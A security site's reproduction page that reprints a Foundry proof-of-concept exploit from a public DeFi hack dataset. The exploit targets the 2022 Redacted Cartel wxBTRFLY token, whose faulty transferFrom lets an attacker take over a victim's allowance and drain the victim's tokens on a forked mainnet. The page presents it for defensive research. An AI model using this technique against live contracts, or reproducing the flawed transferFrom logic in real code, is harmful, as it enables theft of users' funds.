Skip to content
THREATWIRE

Public reproduction file

src/test/2022-03/RedactedCartel_exp.sol

Public reproduction file for dataset entry Redacted Cartel.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-03/RedactedCartel_exp.sol75 lines
1// SPDX-License-Identifier: UNLICENSED
2
3pragma solidity ^0.8.10;
4
5import "forge-std/Test.sol";
6import "./../interface.sol";
7
8/*
9Redacted Cartel Custom Approval Logic Exploit PoC
11The vulnerability would have allowed a malicious attacker to assign a user’s allowance to themselves, enabling the attacker to steal that user’s funds.
13a faulty implementation of standard transferFrom() ERC-20 function in wxBTRFLY token.
14*/
15contract RedactedCartelExploit is Test {
16 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
17 IRedactedCartelSafeERC20 wxBTRFLY = IRedactedCartelSafeERC20(0x186E55C0BebD2f69348d94C4A27556d93C5Bd36C);
19 address Alice = 0x9ee1873ba8383B1D4ac459aBd3c9C006Eaa8800A;
20 address AliceContract = 0x0f41d34B301E24E549b7445B3f620178bff331be;
21 address Bob = 0x78186702Bd66905845B469E3b76d4FD63F8722d4;
22 address owner = 0x20B92862dcb9976E0AA11fAE766343B7317aB349; //owner of wxBTRFLY token
24 function setUp() public {
25 cheats.createSelectFork("mainnet", 13_908_185); //13908185
27 // cheat.label(address(Alice), "Alice");
28 // cheat.label(address(AliceContract), "AliceContract");
29 // cheat.label(address(Bob), "Bob");
30 // cheat.label(address(owner), "wxBTRFLYOwner");
31 }
33 function testExploit() public {
34 //quick hack to bypass the "onlyAuthorisedOperators" modifier
35 cheats.prank(owner);
36 wxBTRFLY.unFreezeToken();
38 console.log("Before the Exploit !");
39 console.log("Alice wxBTRFLY Token Balance: ", wxBTRFLY.balanceOf(Alice));
40 console.log("Bob wxBTRFLY Token Balance: ", wxBTRFLY.balanceOf(Bob));
41 console.log("--------------------------------------------------");
43 // Step 1: Alice approves an address to spend wxBTRFLY Token on her behalf
44 cheats.prank(Alice);
45 wxBTRFLY.approve(AliceContract, 89_011_248_549_237_373_700); // wxBTRFLY.balanceOf(Alice)
46 console.log("wxBTRFLY Allowance of Alice->AliceContract : ", wxBTRFLY.allowance(Alice, AliceContract));
47 console.log("wxBTRFLY Allowance of Alice->Bob(Before transferFrom): ", wxBTRFLY.allowance(Alice, Bob));
49 /*
50 Custom vulnerable transferFrom function of wxBTRFLY token
52 function transferFrom(address sender, address recipient, uint256 amount) public virtual override onlyAuthorisedOperators returns (bool) {
53 _transfer(sender, recipient, amount);
54 _approve(sender, msg.sender, allowance(sender, recipient ).sub(amount, "ERC20: transfer amount exceeds allowance"));
55 return true;
56 }
57 */
59 // Step 2: Bob calls wxBTRFLY.transferFrom(Alice, aliceContract, 0),
60 // No transfer happens, but due to the allowance bug, Bob gets an allowance for Alice’s money
61 cheats.prank(Bob);
62 //_approve(Alice, Bob, allowance(Alice, AliceContract ).sub(0)
63 wxBTRFLY.transferFrom(Alice, AliceContract, 0);
64 console.log("wxBTRFLY Allowance of Alice->Bob(After transferFrom): ", wxBTRFLY.allowance(Alice, Bob));
66 //post-hack
67 cheats.prank(Bob);
68 wxBTRFLY.transferFrom(Alice, Bob, 89_011_248_549_237_373_700); // wxBTRFLY.balanceOf(Alice)
70 console.log("--------------------------------------------------");
71 console.log("After the Exploit !");
72 console.log("Alice wxBTRFLY Token Balance: ", wxBTRFLY.balanceOf(Alice));
73 console.log("Bob wxBTRFLY Token Balance: ", wxBTRFLY.balanceOf(Bob));
74 }

Analysis

Dataset entry

Public Foundry test for “Redacted Cartel” (2022-03-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

13 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
Redacted Cartel
Path
src/test/2022-03/RedactedCartel_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
ce3e330e4a7f9fe33a13fa564f046ace7488c410
Language
Solidity
Size
76 lines
Date
2022-03-29
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-03/RedactedCartel_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ce3e330e4a7f9fe33a13fa564f046ace7488c410, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.